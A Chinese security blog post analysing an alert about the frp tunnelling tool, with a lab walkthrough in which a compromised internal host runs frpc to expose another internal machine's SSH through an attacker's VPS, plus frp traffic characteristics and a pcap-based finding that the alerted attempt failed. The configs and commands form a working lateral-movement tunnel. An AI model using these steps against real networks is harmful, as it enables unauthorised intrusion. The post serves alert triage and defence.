frp内网穿透工具告警分析

admin 2023年12月4日01:23:11评论98 views字数 2554阅读8分30秒阅读模式
一、起因

(一)告警信息

某日,威胁监测系统发现某互联网IP地址使用frp连接了某信息系统,给出了下面的描述和处置建议:
发现frp内网穿透工具,通常该工具用来内网穿透横向渗透,请管理员确认流量。
建议在网络出口处封禁攻击者IP。

(二)思考

  • frp是如何实现内网穿透的?会产生什么样的影响?
  • frp的流量特征是什么?
  • 告警信息中frp的攻击是否成功?

二、frp的使用

frp 是一个开源、简洁易用、高性能的内网穿透和反向代理软件,支持 tcp, udp, http, https等协议。frp 项目官网是:https://github.com/fatedier/frp
下面我们通过实验了解frp的使用方法。

(一)实验环境

kali 2022
192.168.159.15/24
攻击者
kali 2020
192.168.159.220/24
VPS
CentOS 7
192.168.242.101/24
内网机1(已失陷)
Windows 11
192.168.242.110/24
内网机2(攻击目标)


(二)实验思路

第一步,内网机1VPS之间通过frp搭建隧道。通过隧道将内网机1的流量转发到VPS主机的7000端口。
第二步,攻击者连接VPS主机的6000端口,进而连接到内网主机2的ssh服务端口。

(三)实验过程

场景一,通过frp隧道访问内网攻击目标的ssh服务

第一步,搭建隧道

1) 获取frp
https://github.com/fatedier/frp/releases
支持多个主流平台。
//宿主机将frp相关文件上传到VPS
scp -r -p frp_0.40.0_linux_amd64 [email protected]:/home/user1/
//宿主机将frp相关文件上传到已失陷内网机
scp -r -p frp_0.40.0_linux_amd64 root@192.168.242.101:/home/user1/

2) VPS配置
//修改frps.ini配置文件,设置服务端监听工作端口(bind_port)以及访问密码(token):
vi frps.ini //加入下面的内容
[common]
bind_port = 7000
token = 1qaz@WSX
保存退出
//启动frps
./frps -c ./frps.ini  

frp内网穿透工具告警分析

输出显示frp服务器已成功启动,正在监听本地的7000端口。

3) 内网机配置
//编辑frpc.ini配置文件指定VPS的IP地址、监听端口和连接密码
vi frpc.ini //加入下面的内容
[common]
server_addr = 192.168.159.220
server_port = 7000
token = 1qaz@WSX
[ssh]
#设置当访问者访问VPS的6000端口时,VPS将数据包转发到local_ip的local_port
#local_ip可以是内网机自身,就是127.0.0.1,也可以是内网机路由可达其它的IP地址,如本例中的192.168.242.110
type = tcp
local_ip = 192.168.242.110
local_port = 22
remote_port = 6000
保存退出
//启动frpc
./frpc -c frpc.ini

frp内网穿透工具告警分析

输出显示frp客户端已成功登录frp服务,并启动了针对ssh协议的代理服务。

第二步,攻击者访问内网机

//攻击者连接到VPS的监听端口,利用frp的隧道,连接到内网主机
ssh -p 6000 [email protected]

frp内网穿透工具告警分析

成功登录内网攻击目标(Windows 11系统)。

(三)实验结论

通过以上实验我们了解到,通过内网frp客户端和外网frp服务端之间的连接,可将内外网打通,攻击者通过访问frp服务端主机的指定端口,可实现对内网路由可达的任意主机的访问。

三、frp的流量特征

实验时没有关注流量特征,找一张网上的图:
https://cloud.tencent.com/developer/article/2339917

frp内网穿透工具告警分析

frp客户端首先对服务端监听端口发起连接,将自己的版本号、操作系统类型、平台架构、加密后的token信息等发送给frp服务端。
frp服务端在接收客户端请求后,返回自身的版本信息,并向frp客户端分配一个run_id。
之后双方开始加密传输数据。

四、延伸思考

(一)判断攻击是否成功

告警信息界面,下载pcap包,使用wireshark打开,右键点击数据包条目,选择“追踪TCP流”,看到下面的信息:
{"version":"0.38.0","hostname":"","os":"windows","arch":"amd64","user":"","privilege_key":"a155174bb09e0de606a35e5258887bf8a","timestamp":1700179954,"run_id":"","metas":null,"pool_count":1}
在捕获的数据包中,前面的包全部用于TCP连接的协商,最后一个数据包是作为frp客户端的主机(185.91.69.113)向网站的外网地址发送的信息,包括版本号、操作系统类型、平台架构、加密后的token信息等。没有后续的数据包,原因很简单:网站服务器没有运行frp服务端程序。这样,攻击是失败的。

(二)攻击的目的

那么攻击者为什么要以frp客户端的身份连接别人的frp服务端呢?这是因为通过互联网找到frp服务端后,攻击者可以通过不断调整连接信息中的privilege参数的值(也就是配置文件中的token值)来通过frp服务端的认证。通过认证后,攻击者根据需要,让那些被自己控制的、需要隧道连接的内网主机,以frp客户端身份连接已被破解token的frp服务端。而攻击者自己可通过连接相同的frp服务端,利用隧道来实现对内网的访问。
那么为什么攻击者不使用在自己的VPS上部署的frp服务端呢?这是因为云主机的租用可能会暴露攻击者的身份,肉鸡的使用也有可能留下连接信息,而直接使用互联网上的frp服务端可实现很好的匿名性:因为攻击者连接的frp服务端口(remote_port)是自己指定的,这样很难对连接信息进行审计。

原文始发于微信公众号(新蜂网络安全实验室):frp内网穿透工具告警分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月4日01:23:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   frp内网穿透工具告警分析https://cn-sec.com/archives/2264730.html

发表评论

匿名网友 填写信息